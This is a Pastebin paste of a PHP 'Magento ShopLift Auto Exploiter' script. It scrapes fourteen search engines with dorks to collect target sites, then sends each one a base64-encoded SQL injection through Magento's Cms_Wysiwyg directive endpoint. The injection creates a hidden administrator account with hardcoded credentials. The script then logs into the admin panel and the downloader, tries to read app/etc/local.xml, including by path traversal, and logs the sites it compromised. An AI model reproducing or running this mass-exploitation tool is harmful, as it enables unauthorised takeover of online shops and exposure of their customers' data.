Guest User

Untitled

a guest
Nov 16th, 2018
449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.71 KB | None | 0 0
  1. <?php
  2. /* ++++++++++++++++++++++++++++++++++
  3. ShopLift Exploiter Beta Version
  4. Author : VHiden133
  5. Use : php thisfile.php "Dork"
  6. No Name Crew
  7. Special Thanks to
  8. +++++++++++++++++++++++++++++++++
  9. */
  10. set_time_limit(0);
  11. class ShopLiftFathurFreakz {
  12. private $dork = "";
  13. private $username = "VHiden133";
  14. private $password = "m4n1f3stL4";
  15.  
  16. public function Dork($dork){
  17. $this->dork = $dork;
  18. return $this->dork;
  19. }
  20.  
  21. private function CurlPost($url, $post = false){
  22. $ch = curl_init();
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  24. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  25. curl_setopt($ch, CURLOPT_URL, $url);
  26. curl_setopt($ch, CURLOPT_HEADER, 0);
  27. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  28. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  29. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  30. if($post !== false){
  31. $isi = '';
  32. foreach($post as $key=>$value){
  33. $isi .= $key.'='.$value.'&';
  34. }
  35. rtrim($isi, '&');
  36. curl_setopt($ch, CURLOPT_URL, $url);
  37. curl_setopt($ch, CURLOPT_POST, count($isi));
  38. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  39. curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  40. }
  41. $data = curl_exec($ch);
  42. curl_close($ch);
  43. return $data;
  44. }
  45.  
  46. private function GetStr($start,$end,$string){
  47. $a = explode($start,$string);
  48. $b = explode($end,$a[1]);
  49. return $b[0];
  50. }
  51.  
  52. private function LoginDownloader($url){
  53. $link = parse_url($url);
  54. $data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  55. array("username" => $this->username,
  56. "password" => $this->password)
  57. );
  58. if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  59. $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  60. return "Success\nPermission\t\t: ".$permission;
  61. } else {
  62. return "Failed";
  63. }
  64. }
  65.  
  66. private function LoginAdmin($target){
  67. $link = parse_url($target);
  68. $get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
  69. $key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
  70. $data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
  71. array("login[username]" => $this->username,
  72. "login[password]" => $this->password,
  73. "form_key" => $key)
  74. );
  75. if($this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]))){
  76. return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data)."\nInstaled\t\t:".$this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]));
  77. } else {
  78. return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);
  79. }
  80. }
  81.  
  82. private function ShopLiftExploit($target){
  83. $email = substr(md5(time()),2,15);
  84. $link = parse_url($target);
  85. $data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
  86. array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = 'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','{$email}@telekpitekwashere.cok','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
  87. "___directive" => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  88. "forwarded" => "1")
  89. );
  90. return (@imagecreatefromstring($data) !== false);
  91. }
  92.  
  93. private function ExecuteExploit($victim){
  94. $file = fopen("ShopLift-".date("d-m-Y").".log","a");
  95. $url = parse_url($victim);
  96. $target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
  97. if($this->ShopLiftExploit($target)){
  98. $downloader = $this->LoginDownloader($target);
  99. $admin = $this->LoginAdmin($target);
  100. $result = "\n============[ShopLift Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n===========================================\n";
  101. fwrite($file,$result);
  102. return $result;
  103. } else {
  104. return "[".date("H:i:s")."] ".$target." => Not vuln !\n";
  105. }
  106. fclose($file);
  107. }
  108.  
  109. private function LocalFileDiscloure($target){
  110. $path = array( "/app/etc/local.xml",
  111. "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  112. );
  113. for($i=0;$i<=count($path);$i++){
  114. $test = $this->CurlPost($target.$path[$i]);
  115. if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  116. return $this->GetStr("<date><![CDATA[","]]></date>",$test);
  117. } else {
  118. return false;
  119. }
  120. }
  121. }
  122.  
  123. public function SearchEngine($engine){
  124. $list = array();
  125. $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  126. $ccgoogle = array("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  127. $ccask = array("au","uk","ca","de","it","fr","es","ru","nl","pl","at","se","dk","no","br","mx","jp");
  128. $ccyahoo = array("au","ru","at","pl","il","tr","ua","gr","jp","cn","my","id","th","in","kr","tw","ro","za","pt","ca","uk","de","fr","es","it","hk","mx","br","ar","nl","dk","ph","cl","ru","co","fi","ve","nz","pe");
  129. switch($engine){
  130. case 1:
  131. for($i=0;$i<=1000;$i+=10){
  132. $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  133. preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  134. foreach($m[1] as $link){
  135. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  136. if(!in_array($link,$list)){
  137. $list[] = $link;
  138. }
  139. }
  140. }
  141. echo "[\033[1;32m".date("H:i:s")."] Catch Bing (".count(array_unique($m[1])).")\n";
  142. }
  143. echo "[\033[1;32m".date("H:i:s")."] Total Bing : ".count($list)."\n";
  144. break;
  145. case 2:
  146. for($x=0;$x<=count($ccbing)-1;$x++){
  147. for($i=0;$i<=1000;$i+=10){
  148. $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  149. preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  150. foreach($m[1] as $link){
  151. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  152. if(!in_array($link,$list)){
  153. $list[] = $link;
  154. }
  155. }
  156. }
  157. echo "\033[1;32m[".date("H:i:s")."] Catch Bing.".$ccbing[$x]." (".count(array_unique($m[1])).")\n";
  158. }
  159. }
  160. echo "[\033[1;32m".date("H:i:s")."] Total Bing World : ".count($list)."\n";
  161. break;
  162. case 3:
  163. for($x=0;$x<=count($ccgoogle)-1;$x++){
  164. for($i=0;$i<=200;$i+=10){
  165. $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
  166. preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  167. foreach($m[1] as $link){
  168. if(!preg_match("/google/",$link)){
  169. if(!in_array($link,$list)){
  170. $list[] = $link;
  171. }
  172. }
  173. }
  174. echo "[".date("H:i:s")."] Catch Google.".$ccgoogle[$x]." (".count(array_unique($m[1])).")\n";
  175. }
  176. }
  177. echo "[".date("H:i:s")."] Total Google World : ".count($list)."\n";
  178. break;
  179. case 4:
  180. for($x=0;$x<=count($ccask)-1;$x++){
  181. for($i=1;$i<=1000;$i+=100){
  182. $search = $this->CurlPost("http://".$ccask[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  183. preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
  184. foreach($m[1] as $link){
  185. if(!preg_match("/ask\.com/",$link)){
  186. if(!in_array($link,$list)){
  187. $list[] = $link;
  188. }
  189. }
  190. }
  191. echo "[".date("H:i:s")."] Catch Ask.".$ccask[$x]."(".count(array_unique($m[1])).")\n";
  192. }
  193. }
  194. echo "[".date("H:i:s")."] Total Ask World : ".count($list)."\n";
  195. break;
  196. case 5:
  197. for($i=1;$i<=100;$i+=1){
  198. $search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
  199. preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  200. foreach($m[1] as $link){
  201. if(!preg_match("/walla\.co\.il/",$link)){
  202. if(!in_array($link,$list)){
  203. $list[] = $link;
  204. }
  205. }
  206. }
  207. echo "[".date("H:i:s")."] Catch Walla (".count(array_unique($m[1])).")\n";
  208. }
  209. echo "[".date("H:i:s")."] Total Walla : ".count($list)."\n";
  210. break;
  211. case 6:
  212. for($i=1;$i<=400;$i+=10){
  213. $search = $this->CurlPost("http://szukaj.onet.pl/".$i.",query.html?qt=".urlencode($this->dork));
  214. preg_match_all('/<a href=\"http:\/\/(.*?)\">/m', $search, $m);
  215. foreach($m[1] as $link){
  216. if(!preg_match("/onet|webcache|query/",$link)){
  217. if(!in_array($link,$list)){
  218. $list[] = $link;
  219. }
  220. }
  221. }
  222. echo "[".date("H:i:s")."] Catch Onet (".count(array_unique($m[1])).")\n";
  223. }
  224. echo "[".date("H:i:s")."] Total Onet : ".count($list)."\n";
  225. break;
  226. case 7:
  227. for($i=1;$i<=50;$i+=1){
  228. $search = $this->CurlPost("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".urlencode($this->dork)."&st=local");
  229. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  230. foreach($m[1] as $link){
  231. if(!preg_match("/\.sapo\.pt/",$link)){
  232. if(!in_array($link,$list)){
  233. $list[] = $link;
  234. }
  235. }
  236. }
  237. echo "[".date("H:i:s")."] Catch Sapo (".count(array_unique($m[1])).")\n";
  238. }
  239. echo "[".date("H:i:s")."] Total Sapo : ".count($list)."\n";
  240. break;
  241. case 8:
  242. for($i=1;$i<=50;$i+=1){
  243. $search = $this->CurlPost("http://search.lycos.com/web?q=".urlencode($this->dork)."&pn=".$i);
  244. preg_match_all('/title=\"http:\/\/(.*?)\"/m', $search, $m);
  245. foreach($m[1] as $link){
  246. if(!preg_match("/lycos/",$link)){
  247. if(!in_array($link,$list)){
  248. $list[] = $link;
  249. }
  250. }
  251. }
  252. echo "[".date("H:i:s")."] Catch Lycos (".count(array_unique($m[1])).")\n";
  253. }
  254. echo "[".date("H:i:s")."] Total Lycos : ".count($list)."\n";
  255. break;
  256. case 9:
  257. for($i=1;$i<=1000;$i+=10){
  258. $search = $this->CurlPost("http://busca.uol.com.br/web/?ref=homeuol&q=".urlencode($this->dork)."&start=".$i);
  259. preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  260. foreach($m[1] as $link){
  261. if(!preg_match("/uol\.com\.br|\/web/i",$link)){
  262. if(!in_array($link,$list)){
  263. $list[] = $link;
  264. }
  265. }
  266. }
  267. echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  268. }
  269. echo "[".date("H:i:s")."] Total Uol : ".count($list)."\n";
  270. break;
  271. case 10:
  272. for($i=1;$i<=300;$i+=20){
  273. $search = $this->CurlPost("http://search.seznam.cz/?q=".urlencode($this->dork)."&count=20&from=".$i);
  274. preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  275. foreach($m[1] as $link){
  276. if(!preg_match("/seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i",$link)){
  277. if(!in_array($link,$list)){
  278. $list[] = $link;
  279. }
  280. }
  281. }
  282. echo "[".date("H:i:s")."] Catch Seznam (".count(array_unique($m[1])).")\n";
  283. }
  284. echo "[".date("H:i:s")."] Total Seznam : ".count($list)."\n";
  285. break;
  286. case 11:
  287. for($i=1;$i<=50;$i+=1){
  288. $search = $this->CurlPost("http://www.hotbot.com/search/web?pn=".$i."&q=".urlencode($this->dork));
  289. preg_match_all('/href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  290. foreach($m[1] as $link){
  291. if(!preg_match("/hotbot\.com/",$link)){
  292. if(!in_array($link,$list)){
  293. $list[] = $link;
  294. }
  295. }
  296. }
  297. echo "[".date("H:i:s")."] Catch Hotbot (".count(array_unique($m[1])).")\n";
  298. }
  299. echo "[".date("H:i:s")."] Total Hotbot : ".count($list)."\n";
  300. break;
  301. case 12:
  302. for($i=1;$i<=300;$i+=10){
  303. $search = $this->CurlPost("http://search.aol.com/aol/search?q=".urlencode($this->dork)."&page=".$i);
  304. preg_match_all('/href=\"http:\/\/(.*?)\"/m', $search, $m);
  305. foreach($m[1] as $link){
  306. if(!preg_match("/aol\.com/",$link)){
  307. if(!in_array($link,$list)){
  308. $list[] = $link;
  309. }
  310. }
  311. }
  312. echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  313. }
  314. echo "[".date("H:i:s")."] Total Aol : ".count($list)."\n";
  315. break;
  316. case 13:
  317. for($i=1;$i<=1000;$i+=10){
  318. $search = $this->CurlPost("http://search.yahoo.com/search?p=".urlencode($this->dork)."&b=".$i);
  319. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  320. foreach($m[1] as $link){
  321. if(!preg_match("/yahoo/",$link)){
  322. if(!in_array($link,$list)){
  323. $list[] = $link;
  324. }
  325. }
  326. }
  327. echo "[".date("H:i:s")."] Catch Yahoo (".count(array_unique($m[1])).")\n";
  328. }
  329. echo "[".date("H:i:s")."] Total Yahoo : ".count($list)."\n";
  330. break;
  331. case 14:
  332. for($x=0;$x<=count($ccyahoo)-1;$x++){
  333. for($i=1;$i<=1000;$i+=100){
  334. $search = $this->CurlPost("http://".$ccyahoo[$x].".search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".urlencode($this->dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  335. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  336. foreach($m[1] as $link){
  337. if(!preg_match("/yahoo".$ccyahoo[$x]."/",$link)){
  338. if(!in_array($link,$list)){
  339. $list[] = $link;
  340. }
  341. }
  342. }
  343. echo "[".date("H:i:s")."] Catch Yahoo.".$ccyahoo[$x]." (".count(array_unique($m[1])).")\n";
  344. }
  345. }
  346. echo "[".date("H:i:s")."] Total Yahoo World : ".count($list)."\n";
  347. break;
  348. }
  349. if(count($list)>0){
  350. echo "Exploiting target ".count($list).". Please wait ... \n";
  351. foreach($list as $do){
  352. echo $this->ExecuteExploit($do);
  353. }
  354. }
  355. }
  356.  
  357. public function ExploitLogo(){
  358. $logo = "\033[1;31m==================================================\n";
  359. $logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
  360. $logo .= "#------------------------------------------------#\n";
  361. $logo .= "\033[1;36m#\t Author \t: AndryDRACOS \t\t #\n";
  362. $logo .= "#\t Email \t\t: andridoelas2@gmail.com #\n";
  363. $logo .= "#\t Thanks to /t: Awesome Spammer Family \t #\n";
  364. $logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  365. $logo .= "\033[1;31m#------------------------------------------------#\n";
  366. $logo .= "#\t (C) ".date("Y")." AwesomeNetwork \t\t #\n";
  367. $logo .= "\033[1;31m==================================================\n";
  368. echo $logo;
  369. }
  370. }
  371. $Exploiter = new ShopLiftFathurFreakz();
  372. if(isset($argv[1]) && !empty($argv[1])){
  373. if($argv[1]=="-l" && !empty($argv[2])){
  374. $file = file_get_contents($argv[2]);
  375. $list = explode("\n",$file);
  376. if(isset($list)){
  377. echo "Starting engine ....\n";
  378. flush();
  379. sleep(2);
  380. echo "[".date("H:i:s")."] Scanning ".count($list)." dorks. Please wait ... \n";
  381. foreach($list as $dork){
  382. echo "[".date("H:i:s")."] Scanning target for dork : {$dork}\n";
  383. $Exploiter->Dork($dork);
  384. for($i=0;$i<15;$i++){
  385. $Exploiter->SearchEngine($i);
  386. flush();
  387. sleep(1);
  388. }
  389. }
  390. }
  391. } else {
  392. echo "Starting engine ....\n";
  393. flush();
  394. sleep(2);
  395. echo "[".date("H:i:s")."] Scanning target for dork : {$argv[1]}\n";
  396. $Exploiter->Dork($argv[1]);
  397. for($i=0;$i<15;$i++){
  398. $Exploiter->SearchEngine($i);
  399. flush();
  400. sleep(1);
  401. }
  402. }
  403. echo "Scan finished !!!\n";
  404. flush();
  405. sleep(1);
  406. echo "Shuting down engine !!!\n";
  407. } else {
  408. $Exploiter->ExploitLogo();
  409. }
Add Comment
Please, Sign In to add comment